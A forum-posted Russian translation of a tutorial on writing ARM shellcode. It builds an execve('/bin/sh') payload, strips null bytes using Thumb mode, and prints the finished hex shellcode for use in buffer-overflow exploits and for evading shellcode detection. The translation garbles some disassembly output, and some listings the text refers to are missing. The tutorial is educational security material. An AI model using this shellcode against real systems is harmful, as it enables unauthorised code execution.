Введение в написание Shell-кода на ARM
Обязательным условием для этой части руководства является базовое понимание ARM (Рассматривается в первой части серии руководств « Основы сборки ARM »). В этой части вы узнаете, как использовать свои знания для создания вашего первого Shell-кода в сборке ARM. Примеры, используемые в этом руководстве, скомпилированы на 32-разрядном процессоре ARMv6. Если у вас нет доступа к устройству на базе ARM, вы можете создать свою собственную среду для обучения и эмулировать дистрибутив Raspberry Pi на виртуальной машине, следуя этому руководству: Эмулируйте Raspberry Pi с QEMU.
Это руководство предназначено для людей, которые думают не только о запуске автоматических генераторов Shell-кода, но и для тех кто хотят сами научиться писать Shell-код в сборке ARM. В конце концов, зная, как это работает изнутри и имея полный контроль над результатом, гораздо веселее, чем просто запустить инструмент, не так ли? Написание собственного Shell-кода в ассемблере - это навык, который может оказаться очень полезным, когда вам необходимо обойти алгоритмы обнаружения Shell-кода или другие ограничения, когда автоматизированные инструменты могут оказаться недостаточными.
Для этого урока мы будем использовать следующие инструменты (большинство из них должны быть установлены по умолчанию в вашем дистрибутиве Linux):
- GDB - наш отладчик выбора
- GEF - Расширенные функции GDB, настоятельно рекомендуется к использованию (создан @_hugsy_ )
- GCC - Коллекция компиляторов Gnu
- as - ассемблер
- ld - компоновщик
- strace - утилита для отслеживания системных вызовов
- objdump - проверка наличия нулевых байтов в разборке
- objcopy - извлечение необработанного Shell-кода из двоичного файла ELF
Прежде чем начать писать свой Shell-код, убедитесь, чтобы рекомендации по написанию кода соблюдались:
- Нужно, чтобы ваш Shell-код был компактным и не содержал нулевых байтов
- Причина: мы пишем шелл-код, который мы будем использовать для использования уязвимостей, связанных с повреждением памяти, таких как переполнение буфера. Некоторые переполнения буфера происходят из-за использования функции C 'strcpy'. Его задача - копировать данные до тех пор, пока они не получат нулевой байт. Мы используем переполнение, чтобы получить контроль над потоком программы, и если strcpy достигнет нулевого байта, он прекратит копировать наш шелл-код, и наш эксплойт не будет работать.
- Нужно избегать библиотечных вызовов и абсолютных адресов памяти
- Причина: чтобы сделать наш шелл-код как можно более универсальным, мы не можем полагаться на библиотечные вызовы, которые требуют определенных зависимостей и абсолютных адресов памяти, которые зависят от конкретных сред.
- Знание того, какие системные вызовы вы хотите использовать
- Вычисление номера системного вызова и параметров, которые требует выбранная вами функция системного вызова.
- Обнуление вашего Shell-кода
- Преобразование вашего Shell-кода в шестнадцатеричную строку
Понимание системных функции.
Прежде чем углубиться в наш первый Shell-код, давайте напишем простую программу сборки ARM, которая выводит строку. Первым шагом является поиск системного вызова, который мы хотим использовать, в данном случае. Прототип этого системного вызова можно найти на страницах руководства Linux:
Код:
ssize_t write(int fd, const void *buf, size_t count);
С точки зрения языка программирования высокого уровня, такого как C, вызов этого системного вызова будет выглядеть следующим образом:
Код:
const char string[13] = "Azeria Labs\n";
write(1, string, sizeof(string)); // Here sizeof(string) is 13
Глядя на прототип кода (Незаконченный код), мы видим, что нам нужны следующие параметры:
- fd - для STDOUT
- buf - указатель строки
- count - количество байтов для записи -> 13
- номер записи в системном вызове -> 0x4
Код:
mov r0, #1 @ fd 1 = STDOUT
ldr r1, string @ loading the string from memory to R1
mov r2, #13 @ write 13 bytes to STDOUT
mov r7, #4 @ Syscall 0x4 = write()
svc #0
Используя приведенный выше фрагмент, функциональная программа сборки ARM будет выглядеть следующим образом:
Код:
.data
string: .asciz "Azeria Labs\n" @ .asciz adds a null-byte to the end of the string
after_string:
.set size_of_string, after_string - string
.text
.global _start
_start:
mov r0, #1 @ STDOUT
ldr r1, addr_of_string @ memory address of string
mov r2, #size_of_string @ size of string
mov r7, #4 @ write syscall
swi #0 @ invoke syscall
_exit:
mov r7, #1 @ exit syscall
swi 0 @ invoke syscall
addr_of_string: .word string
Мы вычислили размер нашей строки , вычитая адрес в начале строки из адреса после строки . Это, конечно, не нужно, если мы просто вычислим размер строки вручную и поместим результат непосредственно в R2. Для выхода из нашей программы мы используем системный вызов exit () с системным номером 1.
Скомпилируйте и выполните:
Код:
azeria@labs:~$ as write.s -o write.o && ld write.o -o write
azeria@labs:~$ ./write
Azeria Labs
Хорошо. Теперь, когда мы знаем процесс, давайте рассмотрим его более подробно и напишем наш первый простой Shell-код в сборке ARM.
Отслеживание системных вызовов.
Код:
#include <stdio.h>
void main(void)
{
system("/bin/sh");
}
[LEFT]
Первый шаг - выяснить, какие системные вызовы вызывает эта функция и какие параметры требуются системному вызову. С помощью 'strace' мы можем отслеживать системные вызовы нашей программы в ядре ОС.
Сохраните приведенный выше код в файле и скомпилируйте его перед запуском команды strace.
Код:
azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args
--- snip --
azeria@labs:~$ strace -f -v system
--- snip --
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip --
[pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip --
exit_group(0) = ?
+++ exited with 0 +++
Оказывается, системная функция execve () может вызываться.
Номер и параметры системного вызова.
Следующим шагом является определение номера системного вызова execve () и параметров, требуемых этой функцией. Вы можете получить хороший обзор системных вызовов на w3calls или путем поиска по справочным страницам Linux. Вот что мы получаем из справочной страницы execve ():
Код:
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]);
Параметры, которые требует execve ():
- Указатель на строку, указывающую путь к двоичному файлу
- argv [] - массив переменных командной строки
- envp [] - массив переменных среды
Код:
azeria @ labs: ~ $ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h
#define __NR_execve (__NR_SYSCALL_BASE + 11 )
Посмотрев на вывод, вы можете увидеть, что номер системного вызова execve () равен 11. Регистр R0-R2 можно использовать для параметров функции, а регистр R7 будет хранить номер системного вызова.
Вызов системных вызовов на x86 работает следующим образом: во-первых, PUSH-параметры в стеке, а затем номер системного вызова перемещается в EAX (MOV EAX, syscall_number). И, наконец, вы вызываете системный вызов с помощью SYSENTER / INT 80.
В ARM вызов syscall работает немного иначе:
- Переместить параметры в регистры - R0, R1, ..
- Переместить номер системного вызова в регистр R7
- mov r7, # <syscall_number>
- Вызвать системный вызов с
- SVC # 0 или
- SVC # 1
- Возвращаемое значение заканчивается на R0
Как вы можете видеть на рисунке выше, мы начнем с указания R0 на нашу строку «/ bin / sh» с помощью относительной адресации к ПК (Если вы не можете вспомнить, почему ПК запускает две инструкции перед текущей, перейдите « Часть 2: Типы данных и регистры » учебного пособия по основам сборки и посмотрите часть, в которой поясняется регистр ПК вместе с примером). Затем мы перемещаем 0 в R1 и R2 и системный вызов 11 в R7. Выглядит просто, правда? Давайте посмотрим на разборку нашей первой попытки с использованием objdump:
Код:
azeria @ labs: ~ $ as execve1.s -o execve1.o
azeria @ labs: ~ $ objdump -d execve1.o
execve1.o: формат файла elf32-littlearm
Разборка раздела .text:
00000000 <_start>:
0: e28f 00 0c добавить r0, шт., # 12
4: e3a010 00 mov r1, # 0
8: e3a020 00 mov r2, # 0
c: e3a0700b mov r7, # 11
10: ef 000000 svc 0x00000000
14: 6e69622f .word 0x6e69622f
18: 00 68732f .word 0x0068732f
Оказывается, в нашем Shell-коде довольно много нулевых байтов. Следующим шагом является удаление этих байтов и замена всех связанных с ним операций.
Удаление нулевых байтов.
Одним из методов, которые мы можем использовать для уменьшения вероятности появления нулевых байтов в нашем Shell-коде, является использование режима Thumb. Использование режима Thumb уменьшает вероятность появления нулевых байтов, поскольку инструкции Thumb имеют длину 2 байта вместо 4. Если вы прошли учебные пособия по основам сборки ARM, вы знаете, как переключиться из режима ARM в режим Thumb. Если вы этого не помните или не знаете об этом то, я рекомендую вам прочитать главу об инструкциях ветвления «B / BX / BLX» в части 6 учебника « Условное выполнение и ветвление ».
Во второй попытке мы используем режим Thumb и заменяем операции, содержащие # 0, на операции, которые приводят к нулям, вычитая регистры друг из друга или ксорируя их. Например, вместо «mov r1, # 0», используйте «sub r1, r1, r1» (r1 = r1 - r1) или «eor r1, r1, r1» (r1 = r1 xor r1). Имейте в виду, что, поскольку мы сейчас используем режим Thumb (2-байтовые инструкции) и наш код должен быть выровнен на 4 байта, нам необходимо добавить NOP в конце (например, mov r5, r5).
Разобранный код выглядит следующим образом:
В результате мы имеем только один нулевой байт, от которого нам нужно избавиться. Часть нашего кода, которая вызывает нулевой байт, является строкой с нулевым символом в конце «/ bin / sh \ 0». Мы можем решить эту проблему с помощью следующей техники:
- Заменить «/ bin / sh \ 0» на «/ bin / shX»
- Используйте инструкцию strb (store byte) в сочетании с существующим регистром, заполненным нулями, чтобы заменить X нулевым байтом.
Вуаля - нет нулевых байтов!
Преобразуйте Shell-код в шестнадцатеричный код.
Созданный нами Shell-код теперь можно преобразовать в шестнадцатеричный код. Перед тем, как сделать это, рекомендуется проверить, работает ли Shell-код автономно. Но есть проблема: если мы скомпилируем наш сборочный файл, как обычно, он не будет работать. Причина этого в том, что мы используем операцию strb для изменения нашего раздела кода (.text). Это требует, чтобы раздел кода был доступен для записи, и этого можно достичь, добавив флаг -N во время процесса компоновки.
Код:
azeria@labs:~$ ld --help
--- snip --
-N, --omagic Do not page align data, do not make text readonly.
--- snip --
azeria@labs:~$ as execve3.s -o execve3.o && ld -N execve3.o -o execve3
azeria@labs:~$ ./execve3
$ whoami
azeria
Сработало! Поздравляем, вы написали свой первый Shell-код в сборке ARM.
Чтобы преобразовать его в хекс (hex), используйте следующие команды:
Код:
azeria@labs:~$ objcopy -O binary execve3 execve3.bin
azeria@labs:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78
Вместо использования команды hexdump выше, вы также делаете то же самое с помощью простого скрипта Python:
Код:
#!/usr/bin/env python
import sys
binary = open(sys.argv[1],'rb')
for byte in binary.read():
sys.stdout.write("\\x"+byte.encode("hex"))
print ""
Код:
azeria@labs:~$ ./shellcode.py execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78
Я надеюсь, вам понравилось это введение в написание Shell-кода ARM. В следующей части вы узнаете, как писать Shell-код в форме обратной оболочки, что немного сложнее, чем в примере выше. После этого мы углубимся в повреждения памяти и узнаем, как это происходит и как это использовать, используя наш самодельный Shell-код.
Спасибо за прочтение данной статьи и хорошего дня
Отдельное спасибо tabac
neopaket
Оригинальная статья: https://azeria-labs.com/writing-arm-shellcode/
Последнее редактирование модератором: